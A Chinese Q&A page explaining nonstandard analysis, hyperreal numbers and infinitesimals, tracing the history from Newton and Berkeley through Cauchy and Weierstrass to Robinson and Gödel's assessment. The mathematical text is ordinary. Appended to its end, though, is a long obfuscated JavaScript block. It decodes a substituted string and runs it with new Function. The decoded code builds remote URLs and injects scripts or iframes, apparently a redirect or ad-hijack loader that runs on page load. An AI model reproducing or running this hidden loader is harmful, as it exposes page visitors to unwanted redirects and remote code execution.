★什么是非标准分析?什么是超实数?什么是无穷小量?★
推荐回答(1个)
20世纪60年代出现了非标准分析,它是利用数理逻辑方法来探讨和刻画微积分的理论基础,引起了人们的重视,为数学开辟了新的研究领域。
通常的数学分析,又称为标准分析,其主要部分是微积分学,它是以现实世界中的连续变量及其相互关系为研究对象的数学分支。它的基本概念是在实数系范围内取值的变量和函数的概念,它的研究方法是极限理论。所以,标准分析是指十九世纪柯西、魏尔斯特拉斯等人用极限方法所建立的微积分理论,他们在数学的证明中用极限方法代替了无穷小量方法,对微积分理论作了较严谨的逻辑论证,他们的理论比十七、十八世纪的微积分理论前进了一大步。这表现在它创立了一系列判别法则,发现了关于函数的连续性、可微性的一些重要结果。 [“标准分析”是建立在严格的极限理论之上的。]
围绕微积分的一场争论曾在18世纪初激烈进行。话可从牛顿时代说起。试看求y=x2的导数。先取无穷小量⊿x,则⊿y=(x+⊿x)2-x2=2x⊿x+⊿x2,即⊿y/⊿x=2x+⊿x。又因为⊿x是无穷小量可忽略不计,即得y/=2x。无穷小量⊿x在这里既不是0(可用⊿x 去除),却又等于0(最后忽略不计,⊿x就消失了)。这套办法似乎有点像变魔术。马克思称略去⊿x是“暴力镇压”,大主教贝克莱则呼之为“逝去量的鬼魂”或“已死量的幽灵”(ghosts of departed quantities)。这种把无穷小神秘化的做法确实不太好,“招之即来,呼之即去”,完全是神差鬼使的一套。然而不管如何攻击,它的运算结果却总是对的。大数学家欧拉曾用这种不严格的微积分做出了辉煌的成果。渐渐地人们也不再有异议了。
到了19世纪,法国数学家柯西认识到,结论正确并不意味着体系完整,于是着手使“无穷小分析”严格化。这就是著名ε—N和ε—δ说法,这个说法到19世纪70年代才由魏尔斯特拉斯完成。这种寓动于静,表示极限过程的描述,把神秘化的外衣去掉了:所谓无穷小,不过是极限为0的变量而已。它不是“一个数”,而是一个变化过程,即不断向常数0以误差可任意小进行逼近的一个变量。它的表示完全是算术化了的,ε,δ等的关系,明确无误,一目了然。然而,“无穷小”不是数,不能直接除,也不能忽略不计,生动活泼的运算淹没在形式的海洋里,人们抱怨微积分越来越难学。工程学家不理会对无穷小的批评,仍然沿用牛顿—欧拉时代的方便做法,把“无穷小”拿在手里不肯丢掉。不过,“无穷小”在数坛上终究呆不住,20世纪以来,几乎销声匿迹,偶尔提到它,也不过是习惯性的名词介绍而已。
1960年秋事情有了转机。数理逻辑学家阿伯拉罕·罗宾逊(Abraham Robinson,1918~1974,生于德国的犹太人,1962年去美国)在普林斯顿大学的一次报告中指出:现代数理逻辑的概念和方法能为“无穷小”和“无穷大”作为“数”进入微积分提供合适的框架。1961年,罗宾逊在荷兰阿姆斯特丹皇家科学院学报上发表文章,题为《非标准分析》,表明这一新数学分支已经呱呱坠地了。
在标准分析里,研究的有理数和无理数的集合称为实数集合。实数集合与直线上的点一一对应,实数的集合是连续的。在非标准分析里,罗宾逊的基本想法是:无穷小既然不是一个“数”,即在实数集合中没有它的位置,那么我们是否能把实数集合扩大,使之成为新的超实数集合,而微积分在超实数集合中实施时,能够保持当年牛顿—欧拉时代的直观和简便易行?罗宾逊用数理逻辑中模型论的方法做到了这一点。在超实数集合中,每一通常的实数是标准数,它的周围聚集着许多“无穷小”(非标准实数),就像电子围绕原子核一样。在超实数集合中没有阿基米德性质,即任取整数α和β,不一定都能找到自然数n,使nα>β,因为无穷小是大于0的非标准实数,它的任意整倍数仍是无穷小,不可能大于正标准数β。 [超实数集合中的元素想必就是超实数了!]
从“宏观”上看,超实数集合的数轴与实数集合的数轴一样。但是从“微观”上看并不相同,在超实数轴上的每一点内,有许多非标准实数。这些非标准实数彼此相差无穷小量,形成了一个有内部结构的点,称为“单子”,每个“单子”只有一个标准实数。从标准实数来看,点与点是连续的,从超实数轴来看,点与点是连续与间断的对立统一。
从它的物理意义来说,如一条光线,从“宏观”看来,它是连续的,从“微观”看来不仅不连续,而且不均匀,量子理论证明了光具有波动和粒子二像性,正表明了光是连续与不连续的对立统一。
非标准分析为我们打开了一个新的世界——“点”的世界。任何一个“点”,都是一个“世界”;任何一个世界,都是一个“点”,正如天外有天一样,点内又有点。在太阳系中,地球是一个“点”,它是有结构的,可分的,同样分子可作为一个“点”,它有结构,是可分的。从数学上说,由更小的层次看来,在任何一个“点”中,都可以建立坐标系,因为它是一个“世界”,由更大的层次看来,在任何一个“世界”都可以仅仅是坐标系的一点。非标准分析接受了“点”的可分性的辩证法。
这套数理逻辑的方法是相当烦琐的,要弄懂它比搞清微积分概念困难得多。但是无穷小毕竟堂而皇之地重返数坛,成为逻辑上站得住脚的数学中的一员,这是非标准分析给我们带来的“革命”信息,是令人高兴的事情。从哲学上看,也自有它的意义。否定之否定,微积分学的基础又得到了新发展,真是“柳暗花明又一村!” [“非标准分析”是罗宾逊通过运用无穷小量重新刻画微积分而建立起来的。]
1965年4月,罗宾逊写了《非标准分析》一书,广为流传。许多数学家对此表示支持,也有许多人表示怀疑。1973年,罗宾逊在普林斯顿高等研究所遇到著名的哥德尔——本世纪最著名数理学家。哥德尔作了这样的评价:
“非标准分析不但常常能够简化初等定理的证明,而且对简化艰深结论的证明也同样有效。例如,对于紧算子具有“不变子空间”的定理就能大大简化。……我们有理由相信,不论从哪方面看,非标准分析将会成为未来的数学分析。……在未来世纪中,将要思量数学史中的一件大事,就是为什么在发明微积分学后300年,第一个严格的无穷小理论才发展起来。”
哥德尔的评价使非标准分析更加受人重视。非标准的群论、非标准的泛函分析、非标准的拓扑,相继问世。基斯勒(Keisler)写了一本非标准分析的微积分教科书,经过试教,据说接受情况良好,准备扩大试验。但是,对它抱怀疑态度的人最近越来越多。理由是“凡用非标准分析能得到的结果,用原来的标准方法都能得到,既然没有新东西,本身又那样难懂,何必去学它呢?”更有人认为非标准分析不过是数理逻辑学家在“想入非非”、“见异思迁”,实在是多此一举。至于非标准分析是否能成为“未来世纪的数学分析”,恐怕要接受实践的检验,经受历史的考验。人们接受一种新事物需要一个过程,尤其对于一种新说法、新装饰、更需要时间。要人们普遍使用非标准分析,简直就像让人去说另一门外语一样难。哥德尔的预言是否正确,且看将来吧!不过,罗宾逊使无穷小再生的功绩将不会抹杀,在数学史上一定会有一席地位的。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();